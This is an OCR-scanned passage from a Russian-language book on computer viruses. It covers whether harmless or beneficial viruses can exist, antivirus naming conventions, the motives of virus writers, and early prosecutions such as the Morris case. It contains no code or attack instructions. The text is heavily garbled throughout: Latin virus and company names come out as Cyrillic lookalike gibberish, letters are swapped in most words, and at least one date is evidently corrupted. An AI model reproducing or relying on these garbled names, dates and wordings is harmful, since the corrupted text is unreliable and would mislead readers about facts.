А. и Б. Стругацкие. «Град обреченнмй»

Вопрос не так прост, как могло бм показаться на первьш взгляд. К за- 
ведомо вредоносньхм вирусам, например к ШшЭХ.СШ, отношение 
однозначно негативное. Но как бить с вирусами, не содержатими 
деструктивнмх фрагментов, с теми, которме просто размножаются? 
Вирус, написаннмй квалифицированнмм и «совестливнм» автором, 
практически незаметен и безвреден. Вопреки распространенному 
мнению таких вирусов немало, более того, их не менее половинм.

По предложению Е. Касперского с чисто технической точки зрения 
все множество сувдествуювдих компьютернмх вирусов может бнть 
разделено на три группн:

О очень опасние вирусн, предназначеннме для уничтожения 
данннх или блокирования работь! компьютера (например,
\Уш9Х.С1Н способен фатально забивать «мусором» случай-
нмми данннми, не несушими никакой сммсловой нагрузки, -  
Ғ1азЬ-ВЮ5 и перезаписнвать таким же «мусором» сектора 
винчестера);

О опасние вирусн, присутствие которнх на компьютере может 
привести к нежелательннм последствиям -  например, вирус 
^егиза1ет.1808 некоррекгно заражал некоторне программн, 
в результате чего они становились неработоспособннми;

О безвредние и неопасние вирусм, никак не влияклцие на работу 
компьютера и сохранностъ данннх, -  например, большинство 
вирусов семейства ЗеагсЬ.

Конечно, это деление условно. В частности, имеется тенденция по- 
степенного перехода с течением времени ряда вирусов из класса «без- 
вреднмх» в класс «опаснмх». Это происходит потому, что операцион- 
нме системн постоянно развиваются и изменяются, а вьшушеннме 
в «дикую природу» вирусм -  нет. Как результат какой-нибудь идеаль- 
но приспособленннй к среде М 5-008  вирус, скорее всего, вьюовет 
проблемн при запуске инфицированной им программм под \Ушс1о\у5. 
Но, с другой сторонн, есть классм вирусов, на которне это правило 
практически не распространяется, например класс макровирусов.
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Но все-таки наибольший интерес вьтзьшает не столько классифи- 
кация уже сушествуюших представителей электронной «флорм» и 
«фауньт», сколько попмтка ответить на концептуальнме вопросм, по- 
ставленнме максимально широко.

Возможно ли написать абсолютно безвреднмй вир}гс?
Возможно ли написать вирус, которнй приносил бн пользу?
Наиболее подробно эту' проблему исследовал Весселин Бончев 

в своей статье «По-прежнему лп плоха идея о хороших компьютер- 
ньтх вирусах?» [34]. Он опросил большое количество специалистов 
и простмх пользователей, рассмотрел множество аргументов «за» и 
«против» и пришел к следуюшим вмводам.

Бончев считал, что абсолютно безвредньга и лояльнмй к систе- 
ме вирус написать невозможно. Любая программа, в том числе и 
компьютернью вирус, не может бьггь стопроцентно совместима с си- 
стемнмм окружением и прикладнмми программами, причем, как уже 
отмечалось вмше, эта несовместимость со временем увеличивается. 
С другой стороньх, вирус «незаконно» пользуется ресурсами компью- 
тера -  занимает оперативную память и дисковое пространство, тратит 
процессорное время. Кроме того, будучи однаждм вьшушен в «дикую 
природу». вирус дальше распространяется с компьютера на компью- 
тер совершенно бесконтрольно, и повлиять на его «судьбу», в отли- 
чие от обмчной программн, невозможно.

По прошествии нескольких лет уже видно, что Бончев прав дале- 
ко не во всем. Во-первмх, уже упомянутьхе внше макровирусн, если 
они не содержат грубмх ошибок и заведомо вредоносньтх фрагментов, 
бнли, есть и будут практически идеально приспособленм к среде сво- 
его обитания -  документам МЗ Шогс! и электронннм таблицам МЗ 
Ехсе1, поскольку программнме механизмн самокопирования кода 
бнли изначально заложенм производителем (фирмой МшгозоЙ;) 
в среду \¥огс!Ва81 с/\''ВА как абсолютно легальнме средства! Во-вто- 
рнх, если говорить о вирусах других классов, то не так уж сложно 
представить себе и реализовать самокопируюшийся код, которнхх 
если не самоуничтожается по прошествии определенного срока или 
по определенной «команде», то хотя бн ограничивает свою актив- 
ность. Наконец, сухцествуют программньхе конструкции, которне 
умеют создавать (в том числе и незаметно для пользователя) соб- 
ственнне копии, но при этом являются неотъемлемой частью опера- 
ционннх систем, -  разве они тоже вреднм?

Бончев привел также множество субъективнмх (подчас очень курь- 
езннх) аргументов в гюддержку гипотезьх о «вредности» вирусов. На-



30 ❖ Обшие свеления о компьютерньк вирусах

пример: любое инфицирование нрограммн -  это несанкдионирован- 
ная модификация ее кода, таким образом, использование владельцем 
зараженной программн становится недопустимьш с юридической 
точки зрения. Или вот еше: на вирусн нет и не может сушествовать 
никаких «копирайтов>, таким образом, любой программист способен 
отловить «заразу», модифицировать ее по своему желанию и пустить 
дальше. Наконец, самнй «убойннй» аргумент: заподозрив (возмож- 
но, совершенно безосновательно!) наличие на своем компьютере ви- 
руса, пользователь начинает беспокоиться, прекрашает работу, тра- 
тит деньги и время на приобретение и запуск антивирусов... Короче, 
вирус часто оказнвается опасен не потому, что реально вредоносен, 
а потому, что такова его репутация.

Шутки шутками, но по разньтм оценкам, от 50% до 80% ушерба, на- 
носимого компьютерннми вирусами мировой индустрии, связанн не 
с объективньши техническими причинами, но с человеческим факто- 
ром. Поневоле хочется задать вопрос: а сувдествуют ли «безвреднме 
пользователи»?

На вопрос же о возможности создания «полезних» вирусов Бон- 
чев также отвечал отрицательно. Он рассмотрел несколько вариантов 
вирусов, якобн предназначенннх для вьшолнения каких-либо «по- 
лезннх» действий, и показал, что потери от их использования превн- 
шают внгоду.

Например, сомнительной представлялась Бончеву возможность 
использовання вирусов типа СгипсЬег, незаметно переносявдихся 
с компьютера на компьютер и «сжимаювдих» файлн (наподобие ар- 
хиваторов класса 7Л Р. АҚ) или КАК) и диски (наподобие драйверов 
Г’)оиЬ]е5расе или БСаскег) с целью экономии пространства на внеш- 
них носителях. Плохо, с его точки зрения, также вьтглядела идея 
«антивирусного вируса», этакого саморазмножаювдегося «ренегата», 
блокируювдего и уничтожаювдего своих собратьев. Основной аргу- 
мент Бончева незамьюловат: все те же действия гораздо провде, де- 
шевле, эффективнее и безопаснее внполнять при помовди обьхчннх 
программ.

Тем не менее сама жизнь уже опровергла Бончева.
Сейчас, в эпоху молниеносно распространяювдихся по глобальннм 

сетям эпидемий, идея «контрчервя» внглядит гораздо более привле- 
кательной, чем 10-15 лет назад. Не кажется такой уж фантастичной 
ситуация, когда компьютерннй мир окажется перед внбором: или 
«степной пожар», пувденннй навстречу другому такому же «пожа- 
ру», или тотальное отключение зараженньтх машин (или телефонов)
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с последуювдим добнванием и установкой «лекарств» вручн\'ю. По- 
хоже, что червь №£-Шоть\\1п32.\¥е1сЬ1а в 2003 году действительно 
вмступил в роли такого «контрпожара» и помог в «тушении» гло- 
бальной эпидемии червя ^еС-^Уопп.^УтЗ^.Ьоуеяап. превзойдя по 
эффективности «легальние» методь1 противодействия эпидемии.

Короче говоря, точку в истории разрешения проблемн о возмож- 
ности сутцествования «безвредннх» и «полезннх» компьютерннх ви- 
русов ставить рано. И вряд ли это вообше возможно, поскольку, с од- 
ной сторонн, под формальное определение компьютерного вируса 
подпадает слишком широкий класс программ различного назначения 
(некоторне специалистн даже считают, что наиболее распространен- 
ннм видом компьютерннх вирусов являются сами операционнне си- 
стемн), а с другой -  понятия «вредннй» и «полезньхй» крайне субъ- 
ективнн.

Мн еше посвятим рассмотрению этого вопроса несколько страниц 
в последней части книги.

1.5. О названиях компьютерньос вирусов
Планети нарекались по названиям стран и 
городов, по именам любимих литературньп 
героев. названиям приборов и просто гром- 
кими звукосочепмниями. А у  кого не хватало 
фантазии. тот брал какую-нибудь книгу, от- 
кршвал на какой-нибудь странице, вшбирал 
какое-нибудъ слово и как-нибудь его переде- 
льтал.

А. и Б. Стругацкие. «Попмтка к бегсгву»

Не следует искать какого-нибудь потаенного смнсла в названиях 
компьютерних вирусов.

Первне компьютернне вирусм получали свои имена в основном по 
внешним проявлениям, причем нередко у одного вируса бнло столько 
имен, сколько разннх людей обнаруживали его на своем компьютере. 
Например, среди наименований старинного вируса, осмпавшего бук- 
вн на экране монитора, встречались: «Буквопад», ЬеИегҒаН, «Слезн 
капали», КшЬ, ЬеЬСег ,̂ а сейчас он нам известен как Са5сайе.1071.

Но времена, когда бнли распространенн «самолечение» и «само- 
наименование», давньш-давно прошли. Сейчас мн узнаем о названи- 
ях вирусов, прочитав их в отчете, которнм нас снабжает антивирус
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после чистки наших компьютеров от «заразм». Это имена, под кото- 
рнми информация о вирусах занесена в антивирусную базу, и авторм 
этих имен -  профессиональнне вирусологи.

В далеком 1990 году Н. Н. Безруков в своей монографии «Компью- 
терная вирусология» предложил формальную систему наименования 
компьютерннх вирусов. Каждое имя должно бнло начинаться с по- 
следовательности букв, описнваюших обадие классификационнне 
признаки вируса: «г>> -  резидентннй, «с» -  заражает СОМ-файлн, 
«е» -  заражает «ЕХЕ-файли», «Ь» или «т>> -  загрузочньш и т. д. Да- 
лее должно бнло следовать число -  длина вирусного тела в байтах. 
Замьжать этот алфавитно-цифровой идентификатор бнл призван 
необязательньш буквенннй «суффикс», характеризуюадий уникаль- 
ность вируса в ряду собратьев, обладаюадих схожими формальньши 
признаками. Например. согласно этой системе, вирус Саясайе назн- 
валсяКСЕ.1701.а. Слишком жесткая система Н. Н. Безрукова в итоге 
не прижилась, но некоторне ее идеи используются до сих пор.

Чуть позже, в 1991 г. некоторне пностраннне вирусологи, объ- 
единившись в САК.О -  СотрШег Ап11\ /Г!П18 КезеагсЬег Ог^атгайоп, 
также попнтались разработать и подписать упивсрсальную конвен- 
цию о наименованиях новнх вирусов (N¥N0 -  Ке\\' Ут15 Капшт^ 
Соп\7епПоп). Она основнвалась на принципах, разработанннх Кар- 
лом Линнеем для классификации живнх организмов планетн Земля, 
и требовала от вирусологов представлять имя вируса в форме «Се- 
мейство.Группа.Вариант.ГТодвариант [:Модификатор]» или «Класс. 
Семейство.Группа.Вариант.Подвариант [:Модификатор]», например 
«У1П15.В05.Сазса<1е.1701.а». Также вирусологи собирались догово- 
риться, что не стоит давать вирусам имена компаний, торговнх марок 
и людей (не являюадихся авторами вирусов). Как это обнчно бнвает, 
конвенцию мало кто подттисал, хотя некоторнми ее принципами вос- 
пользовались и продолжают пользоваться многие фирмн -  разработ- 
чики антивирусов.

Попнтки перейти на «обадий язнк» предпринимались еаде неодно- 
кратно, но к позитивному итогу так и не привели. Предлагалось как 
максимально усложнить и формализовать систему наименований, 
чтобн по одному только алфавитно-цифровому идентификатору 
можно бьгло определить основнне характеристики и параметрн ви- 
руса, так и предельно упрсзстить ее, просто присвоив порядковнй но- 
мер (проект СМЕ -  С оттоп  МаКуаге ЕпитегаНоп). Увн, но обадей 
системн наименования вирусологам, живуадим в разннх странах и 
работаюадим в конкурируюадих компаниях, создать пока не удалось.
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Вот, например, как назьтается один и тот же вирус с точки зрения 
трех различньтх антивирусннх компаний:

О Е-\Уогт.\У1п32.2ай.{1 -  Антивирус Касперского (Россия);
О \Ут32.НЬЬМ.На2ай.36864 -  Ог\¥еЬ (Россия);
О \¥32.Егкег.О@ тт -  НоПоп (5утап1ес) Апйшпв.
В числе классификационнмх признаков, вьгаосиммх в формаль- 

ньш идентификатор этих вирусов, можно обнаружить:
О принцип распространения ( «Е-\¥огт» -  почтовьш или « т т »  -  

та85 таШп$);
О уязвимую для данного вируса платформу («\¥т32» или 

«\¥32» -  семейство 32-разряднмх операционнмх систем М5 
\¥шс1о\\’я );

О  характеристику вирусного кода («Н1ХМ» -  написан на каком- 
то язмке вмсокого уровня);

О длину вирусного тела (36 864 байта) и прочее.
Хорошо хоть, что в примере с червем 2аП вирусологи разошлись 

во мнениях по поводу н.мени, но все-такн имели в виду одну и ту 
же разновидность «заразн». Но ведь среди создателей некотормх 
антивирусов (например, Ог\УеЬ) просматривается тенденция да- 
вать уникальнне имена не отдельнмм вирусам, но лечашим алго- 
ритмам, встроенньш в антивирус. В результате если один алгоритм 
подходит для лечения соттш различннх вирусов, обнаруженнмх на 
вашем компьютере, то в отчете, сформированном таким антивиру- 
сом по итогам лечения, только один этот алгоритм и будет упомя- 
нут. Видимо, это делается специально для облегчения работьт пра- 
воохранительннх органов: если в их руки попадется автор одного 
из этой сотни вирусов, то ему можно заодно поставить в вину все 
разнообразнне повреждения, нанесенньге остальннми девяносто де- 
вятью. Шутка.

Не нашли обших мнений вирусологи и по поводу неформального 
наименования вируса (которого, кстати, в системе Н. Н. Безрукова 
вообше не бмло предусмотрено). Обнчно обшепринятьтм среди ви- 
русологов разннх стран становится то наименование, которое дает 
ВИРУСУ его «первооткрнватель». Но в современинх условиях молни- 
еноснмх сетевнх эпидемий это понятие теряет практический смнсл, 
отсюда и абсолютннй разнобой в наименованиях.

В роли «первооткрнвателя» обнчно внступает конкретннй чело- 
век -  сотрудник антивирусной лаборатории, занимаюшийся изуче- 
нием вирусного кода. И объяснить, почему вирус получил то или 
иное неформальное наименование, способен только он.
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Казалось бн, можно окрестить вирус так, как его преддочел бм на- 
змвать сам автор. В теле вируса часто встречаются текстовне строки 
типа «5УС», «Слу]'1 \¥аг», «Мигг1с» и прочие, облегчаютие задачу вм- 
бора имени. Также неплохо назвать вирус в соответствии с местом 
его создания или обнаружения (Деги8а1еш -  «Иерусалим»), днем 
активации (В1аскМопс1ау -  «Черньш понедельник») или с произво- 
димнм аудиовидеоэффектом (АтЬи1апсе -  «скорая помошь»). Но 
как появляются имена типа ВаЬа (вместо «Товаривд Лозинский»), 
ОеЬНВу1е (вместо «Веу11Ву(;е»), ҒҒҒҒ (вместо «СОЕҒ»), ВаЬес 
(вместо «ВАВС») и тому подобнме? Оказмвается, некоторне антиви- 
руснне компании до сих пор стараются придерживаться отдельннх 
правил, оговоренньхх в соглашении N¥N0, -  в частности тех, которме 
рекомендуют давагь вирусам как раз бессмнсленнне имена.

Практика образования вирусннх имен порой становится орудием 
в конкурентной борьбе между различннми антивирусньши фирма- 
ми, когда они наперебой шдут «соринки» в чужих глазах. Вот пример 
одного из подобньгх пресс-релизов:

...На прошлой неделе определенное освешение в СМИполучил 
новь1Й Р2Р-червь... Множество антивируснмх компаний детек- 
тировали эту вредоносную программу как РоНроз, и именно это 
название получило широкое распространение. Но правильно ли 
назьшать червя этим названием? В теле червя содержится сле- 
дуюший текст: «Шп32.РоНроз VI.2 Ьу ^озерЬ». Дав этому червю 
название РоНров, антивируснь/е компании подняли из небьпия 
этическуюдилемму. С одной сторонь/, этимдостигается вьюокая 
степень идентичности названий у разнь/х вендоров... С другой 
сторонь/, одним из неписаних правил антивирусной индустрии 
[на самомделе это одна из рекомендаций Ш И С  -  К.К.] является 
избегание присваивания вредоноснь/м программам названий, 
которь/е им дали их авторьг. Исходя из этихдвух соображений, 
мь! переименовали червя из РоИроз в РоНр и надеемся, что дру- 
гие антивируснь/е компании последуют нашему примеру...

Однаждн типичннй «творческий почерк» изобретателя вирусньхх 
имен обнародовал Алекс Гостев, сотрудник Лаборатории Касперского:

... Так уж получилось, что я бь/л крестнмм отцом практически всех 
эпидемиологичнь1Х вирусов в последние годь/, поэтому могу по- 
ведать вам это из самь/х первь/х рук... Вариант 8оЬ1д.Ғ бь/л круп- 
нейшей вирусной эпидемией за всю историю Интернета, вплоть 
до января 2004 года... В настояицее время в СМИ и статьях 1Т-
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специалистов можно встретить трактовку его названия, вь/води- 
мую в том числе и из самого факта эпидемии -  «Вирус бил назван 
так (“Зо В/д!”) из-за большого размера своего файла, а также 
из-за большого числа пораженнь/х им компьютеров». Все это со- 
всем не так.:) Размер файлов червей семейства ЗоЬ/д никогда не 
превь/шал 100 Кб (для ЗоШд.Ғ- 70 Кб), что является, в принципе, 
средним показателем для почтових червей... Вариант «А» рас- 
пространялся в письмах, в качестве адреса отправителя которш 
значился «Ь1д@Ьоз5.сот». И сновадля придумь/вания имени нами 
бь/л вшбран давно излюбленний способ склеивания частей слов: 
ВЮ@ЬОЗз. со т  -  «Бигос» звучит кривовато, поэтому кое-что ме- 
няем и- оп-па!...
Впрочем, бнвает и так, что имена, изобретеннме вирусологами 

в поте лица своего и отражаюшие какую-нибудь характеристику ви- 
руса, забмваются, а синонимн, придуманнме для них журиалистами, 
знает почти каждьга. Так, например, произошло с вирусами 81опе<1. 
МагсЬб («М1сЬе1ап§е1о>) и \Уш9Х.С1Н («Чернобьшьский»).

Нет, не следует искать какого-нибудь потаенного смьхсла в назва- 
ниях компьютернььх вирусов!

1.6. Кто и зачем пишет вирусь!
-  Нам павианов отражать надо, а мь/ тут 
в полицию играем...

А. и Б. Стругацкие. «Град обреченннй»

Это вопрос, котормй нельзя обойти, хотя подробное рассмотрение его 
вмходит за рамки нашей книги.

Прежде всего следует отметить, что все множество вирусописате- 
лей невозможно втиснуть в прокрустово ложе какой-либо опреде- 
ленной социальной группм. Сухцествуюшие и широко распространя- 
емме со страниц печатннх изданий безапел.тяционнне мнения о том. 
что вирусн пишут исключительно «ненавистники всего рода челове- 
ческого», «компьютернневандалн» или «озлобленнненедоучки», не 
вьтдерживают никакой критики и свидетельствуют лишь о неумении 
(или нежелании) авторов внсказнваний подобного рода вникнуть 
в суть вопроса.

Также не стоит подробного обсуждения тезис о том, что вирусм, 
мол, пишут сами сотрудники антивирусннх компаний, чтобьх обеспе- 
чить себя работой и постоянннм доходом. Верить в это могут лишь
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люди, неадекватно воспринимаювдие окружаювдую действитель- 
ность, -  либо по причине глубочайшего невежества, либо вследствие 
привнчки глядеть на мир через мутную призму мизантропии. Им 
хочется напомнить известную издевательскую цитату из В. Катаева: 

...Ведь бш о решительно всем известно, что шарманшики за- 
манивают маленьких детей, крадут их, вь/ламь/вают руки и ноги, 
а потом продают в балаган акробатам... Это бь/ло также обше- 
известно, как то, что конфетами фабрики «Бр. КрахмальниковьI» 
можно отравиться или что мороженсцики делают мороженое из 
молока, в котором купали больнь/х...

Напомнить -  и закрить на этом обсуждение.
Итак, в 1990-х годах Е. Касперский по признаку побудительннх 

мотивов к написанию вирусов вьшелял четнре группн вирусописате- 
лей: «самоутверждаюшиеся». «хулнганн», «профессионалн» и «ис- 
следователи». На мой взгляд, надо несколько переопределить и пере- 
нменовать эги группн и добавитъ к ним пятую: «корнстолюбцьг».

1.6.1. «Самоутверждаюациеся»
К этой группе Е. Касперский относил начинаюшихвирусописателей, 
создаювдих относительно простне саморазмножаюодиеся программн 
с целью проверить свои знания и умения в области системного про- 
граммирования. Действительно, самостоятельно разобраться в прин- 
ципах работн и написать свой (а не скомпилированннй из слегка 
модифицированннх чужих нсходннх текстов) вирус достаточно 
трудно, а потому, пожалуй. почетно. В эту группу следовало бн вклю- 
чить и более продвинутнх. совсем не начинаюших программистов, 
тестируюших свои профессиональнне возможности посредсгвом 
написания не «вирусов вообше», но сложньхх в изготовлении клас- 
сов саморазмножаювдихся программ -  резидентннх вирусов, виру- 
сов-невидимок, полиморфннх и пермутируюхцих вирусов и прочих. 
«Самоутверждаювдиеся» вирусописатели, как правило, не внпуска- 
ют свои творения «в свет». В крайнем случае они могут похвастаться 
своей работой перед товаривдем или послать ее профессиональному 
вирусологу -  «на всякий случай» и «для коллекции».

1.6.2. «Честолюбць!»
Имеет смнсл внделить в отдельную -  очень большую! -  группу 
вирусописателей, одержимнх славой. Им доставляет немалое удов- 
летворение упоминание собственного имени или прозвивда в связи
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с распространением или активацией того или иного творения. Они не 
только вмпускают свои творения в свет, но и, как правило, вставляют 
в свои вирусм текстовне «копирайтн». Например, классический ви- 
рус Е<1<11е.1800 извешал, что

Ш з ргодгат \л/аз шМеп т  Ме сИуо15оПа
(С) 1988-89 Оагк Ауепдег.
Забавно, но бьтали случаи, когда в лучах чужой «слави» непрочь 

бмли погреться люди, имеюшие к вирусописательству весьма отда- 
ленное отношение. Например, в середине 1990-х годов в эхо-конфе- 
ренции ге]сот.сотрлпги8 один молодой человек «скромно призна- 
вался» в авторстве вируса «Натас» (хотя на самом деле семейство 
вмсокосложних и широко распространенннх полиморфнмх впрусов 

создано американским школьником Джеймсом Джентиле). 
А в одном из популярньтх московских чатов друтой юноша хвастал- 
ся знакомством со студентом МГУ -  автором вируса •«Ванхалф» (на 
самом деле знаменитнй вирус ОпеНа1£.3554 написан в Словакии, 
а остальньте представители этого семейства являются лишь более или 
менее удачннми модификациями оригинала, вьшолненнмми други- 
ми людьми).

Отметим, что в вирусах, написаннмх честолюбцами, нередки «шут- 
ки» -  троянские фрагментм, призваннне привлечь в определенньгй 
момент внимание пользователя. Можно вмделить следуюшие груп- 
пм шуток:

О исполняюшие различнме мелодии, как, например, знаменитнй 
«музнкальннй» Ооо<11е-2С.2885;

О внводяшие на экран забавнне (и не очень) изображения, как, 
например, «бегуший автомобильчик» вируса АшЪи1апсе.796;

\ 1 /

Рис. 1.2 ❖ Проявление вируса 
АтЬи1апсе.796

О отображаюшие разнообразнне текстн, призваннне напугать, 
озадачить или позабавить пользователя, как, например, извест- 
ннй вирус Сопс1ош.1581:
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...Использованнь/е презервативь!
Пль/вут неспешно по Москве-реке.
В воде их ловят кооперативи 
И сушат за углом невдалеке...

и т. п.;
О имитируюшие аппаратнме сбои в работе компьютера, как, 

например, старинньш «израильский» вирус ^еп18а1еш.1808, 
котормй замедлял работу компьютера, или более поздний 
Касхог.4444, изредка подергиваюший экран с целью изобра- 
зить неисправность дисплея или видеокартм;

О наконец, откровенно деструктивнме -  блокируюадие работу 
компьютера и ушмтожакицие программьх и даннме, как, на- 
пример, печально знаменитмй \¥ш32.С1Н.

Впрочем, посдедний случай уже переступает рамки обмкновенно- 
го озорства и является ярким проявлением не честолюбия, но воспа- 
ленного самолюбия.

Честолюбцу важно мнение окружаюших о своей работе. Поэтому 
он так кичится фактом наличия ссмлки на свой вирус в регулярно 
обновляемнх «вирлистах» -  вирусологических бюллетенях и ка- 
талогах, например в УШЬ15Т.\¥ЕВ И. Данилова, вмпускавшемся 
во второй половине 1990-х годов, или в «Вирусной энциклопедии» 
Е. Касперского, доступной в Интернете в настояодее время. При этом 
желательно, чтобм вирус бмл не просто упомянут в ряду безликих 
однотипнмх творений, но отличался какой-то «изюминкой». Для это- 
го более способнме вирусописатели используют в своих творениях 
нетривиальнме алгоритмм, менее способнме -  ттцатся удивить и по- 
разить обилием ш\ток или жестокостью деструкций. Кстати, у мно- 
гих все-таки хватает ума не распространять заразу по округе, а сразу 
послать ее вирусологу, снабдив фальшивой историей о «тотальной 
эпидемии и жутких разрушениях». В конце концов, присутствие 
в вирлисте гарантировано и в этом случае тоже.

Юному честолюбцу доставляет удовольствие играть в кругу друзей 
роль «демонической личности» и обладателя некоего «темного зна- 
ния». Приятно среди товаршцей-студентов в очереди перед буфетной 
стойкой небрежно обронить: «Черт возьми, что-то никак не отлажу 
новую версию своего вируса»... Говорят, эта сцена действительноиме- 
ла место в одном из вузов то ли Новосибирска, то ли Екатеринбурга 
и закончилась... физическим воздействием на физиономию вирусо- 
писателя со сторонм индивндуума, пострадавшего от предмдушей 
версии упомянутого вируса.
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Вероятно также, что широкая распространенность всяческого 
рода шуток в компьютернмх вирусах объясняется своего рода тра- 
дицией, восходяшей к ранним опнтам в сфере вирусописательства. 
Представьте себе гипотетического автора вируса У1еппа.648, ко- 
торнй запустил свое творение в «дикую природу» и с нетерпением 
ждет результатов. Проходят дни, недели, месяцм... Никакой реакции. 
Все правильно -  огромное количество компьютеров в мире уже за- 
ражено этим вирусом, но пользователи вообше ничего еше не знают 
о компьютерной заразе, а сам этот вирус настолько аккуратно напи- 
сан, что не конфликтует с другими программами и поэтому практиче- 
ски незаметен. Ладно, решает автор, мьг сделаем так, чтобм на вирус 
обратили внимание -  допишем деструктивньш фрагмент, которьш 
в начало некоторнх программ вставляет командм перезагрузки ком- 
пьютера. И -  сделал!

Интересно, как повернулась 6ш история, если бм авторм первмх 
вирусов делали бм упор не на пакости с чужими компьютерами, а на 
незаметность и неуловимость своих творений?

1.6.3. «Игроки»
Представителей этой группн объединяет азарт противодействия ав- 
торам антивирусннх программ. Над созданием антивирусов обьтно 
трудится не один человек, и создаются, отлаживаются и совершен- 
ствуются они в течение многих лет. Как результат антивирусм -  будь 
то АУР Е. Касперского или Ог\¥еЬ И. Данилова -  представляют со- 
бой очень сложнне программнне комплексн, основаннне на нетриви- 
альннх алгоритмах. Что может бнть увлекательней, чем противопо- 
ставить свой интеллект интеллекту группм вирусологов -  написать 
нечто невидимое для антивируса, избегаюшее расставленннх им ло- 
вушек и капканов, по мере необходимости рассмпаюшееся на части 
и воссоэдаюшееся вновь, не поддаюшееся анализу и неизлечимое?! 
Как известно, игра -  это пагубная страсть. Одни проводят вечера в 
казино, другие -  пишут вирусм. Противодействие подчас длится го- 
дами. Все более и более сложнне и изошреннне «электроннне мик- 
роорганизмн» вьшархивают из рук вирусописателей, публикуются 
в электронннх журналах или напрямую поснлаются вирусологам: 
а вот попробуйте-ка разгадать мой новьга ребус! Примерно до 2005 г. 
именно это противоборство, идеологически восходяшее к афоризму 
Г. К. Честертона: «преступник -  творец, сншик -  критик», -  разви- 
вало и двигало вперед как вируснне технологии, так и антивирусную 
науку.
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1.6.4. «Хулигань! и вандаль!»
В эту большую группу можно собрать индивидуумов с редуциро- 
ванньши представлениями о морали. Их обмчно интересуют вопро- 
см использования вирусов в качестве своего рода «компьютерного 
оружия» или «воровского инструмента». Творческие потуги пред- 
ставителей этой группм направленм на решение конкретнмх задач 
например, насолить «нелюбимому» начальнику или напугать «неува- 
жаемую» организацию.

Нередко эти люди даже не являются сколько-нибудь сильнмми 
программистами, а используют слегка модифицированнне чужие 
вирусм или даже программм-генераторм типа УСЬ, N111X1, Р5- 
МРС, Кузя и др. для автоматического создания собственнмх «бомб» 
(см., например, рис. 1.3). Американцм назмвают подобнмх деятелей 
«кспр1 к)<1(И('я».

I ф Генер^тор Вирусов Н Е Б
Файл Помошь

0  1Е | Дополнительно | 0  Уведомление | 0  Сбой код [
ф  Сообтение | Приколь! )| ̂  Стандартньв | X ЗЛЬ№ шутки |

□  Открмть СО-КОМ
□  Скрьггь ргбочий стол
□  Классическж проводнж
□  Скрьггь стрелки У ярлмков

П  Запретить лиспетчер вадач
□  Запретить редактор реестра
□  ГТочиститъ ПУСК
□  Запретить открнтие ехе
□  Дискотекап Минимнзировать все окнэ п Обненять назначение кнопок мьши 
П Заставить трешать флоппик 
П Вьоьеать писк системного динамика 
П Новое название для корзинм ламера |помойка ламера 
П  Изменить регистрационнью даннме

Имя ламера Органинция
[психушка[Ламер

Рис. 1.3 ❖ Генератор примитивних вирусов «Кузя»

1.6.5. «Корьютолюбць!»
В первьте годм XXI века в связи с сушественньш усложнением ин- 
формационнмх технологий, используемнх при создании программ- 
ного обеспечения (в том числе и компьютернмх вирусов), вирусопи- 
сателю-одиночке становилось все трудней и трудней справиться со
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своей задачей. Все чахце и чавде вирусм оказьшались плодом коллек- 
тивного творчества, все охотней и охотней вирусописатели обьединя- 
лись в группм для реализации своих не саммх простмх -«проектов». 
В типичной группе прпсутствовало «разделение труда»: одни зани- 
мались исследованием новмх способов проникновения в систему, 
другие писали независимме фрагментм вирусной программм, третьи 
комплектовали из этих фрагментов обший «продукт», а четвертме 
распространяли «заразу» и заметали следьг Нередко подобное сооб- 
шество приобретало характернне признаки криминальной организа- 
ции. В деятельности таких группировок стали проявляться чертн, ха- 
рактерньге для самнх настояших «шаек» и «банд»; демонстративньге 
«акции устрашения» (например, инициирование массовнх эпидемий 
вирусов, самоуничтожаюшихся после заранее определенной датн), 
взаимопроникновение в другие сферм полукриминального и крими- 
нального бизнеса (небезвозмездное, «партнерское» предоставление 
своих услуг распространителям спама и промьшленнмм шпионам), 
«разборки» с враждуюшими организациями (распространение «бое- 
внх» вирусов, уничтожаювдих аналогичньге программн чужого «про- 
изводства») и т. п. Это обстоятельство с каждмм годом оказнвало все 
более сильное влияние на вирусную ситуацию в мире. И наконец, 
к 2005-2006 годам одиночки -  «самоутверждаювдиеся», «честолюб- 
цн», «игроки» и даже «вандали» -  внмерли, словно мамонтн. Вот 
уже много лет основную массу вредоносннх программ формируют 
сообвдества професс.ионально подготовленннх «кормстолюбцев». 
Шутками больше никто не занимается, каждая вредоносная програм- 
ма вьшолняет какую-то практически важную (для злоумьшленни- 
ков) задачу: рассмлает спам, похивдает конфиденциальнне данние и 
реквизитм, отключает завдитньте системн компьютера, осувдествляет 
точечние диверсии и т. п. Производство, распространение и исполь- 
зование вредоноснмх программ поставлено на промьшленную осно- 
ву, оно представляет собой индустрию, приносявдую участникам кри- 
минального компьютерного бизнеса сотни миллионов и миллиардм 
долларов.

На момент написания этих строк в обвдей массе вредоноснмх про- 
грамм саморазмножаювдихся вирусов и червей присутствует менее 
процента. Видимо, они «экономически» менее внгоднн, чем не спо- 
собнне к размножению троянские программн. Однако если вм счи- 
таете, что «один процент -  это мало», то глубоко заблуждаетесь. Это 
десятки новьхх вирусов и червей в год, это миллионм завирусованннх 
флэшек и террабайтн агрессивного сетевого трафика.
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1.6.6. «Фемида» в борьбе с компьютернмми 
вирусами
Первой попмткой осудить злоуммшленника за распространение ви- 
русов бмло «дело Морриса». В начале ноября 1988 г. его знамени- 
тьш червь «посетил» большое количество (около 6200) компьютеров, 
подключенньтх к глобальной сети АКРАМЕТ -  прототипу нннешне- 
го Интернета. Червь не предпринимал никаких деструктивнмх дей- 
ствий, но благодаря ошибке Морриса скорость его размножения ока- 
залась вьше запланированной. Поэтому в результате размножения 
вируса сетевой трафик и нагрузка на процессорн локальньгх компью- 
теров сухцественно возросли и в ряде случаев привели к невозможно- 
сти нормальной работн1. Суд приговорил Роберта Паттона Морриса 
к трем месяцам тюрьмн и крупному денежному штрафу

В первой половине 1900-х годов попали в гюле зрения правоохрани- 
тельннх органов. но сумели избежать крупньгх неприятностей австра- 
лийский студент Клинтон Гейнц (автор вирусов Оис11еу и МоҒпН.ч) 
и американский школьник Джеймс Джентиле (создатель вирусов 
8а(апВи§и №Ьа8). Чугь меньше повезло англичанину Стефену Капп- 
су, лидеру вирусописательской группировки «АКСУ -  АззосгаГлоп о£ 
Кеа11у Сгие1 У1ги5е8», -  он бнл арестован в 1993 г„ некоторое время 
находился под следствием, но в итоге наказания все же избежал.

Широкий резонанс получило также «дело Черного Барона». 
В 1995 г. в Англии бнл арестован 26-летний хакер и вирусописатель 
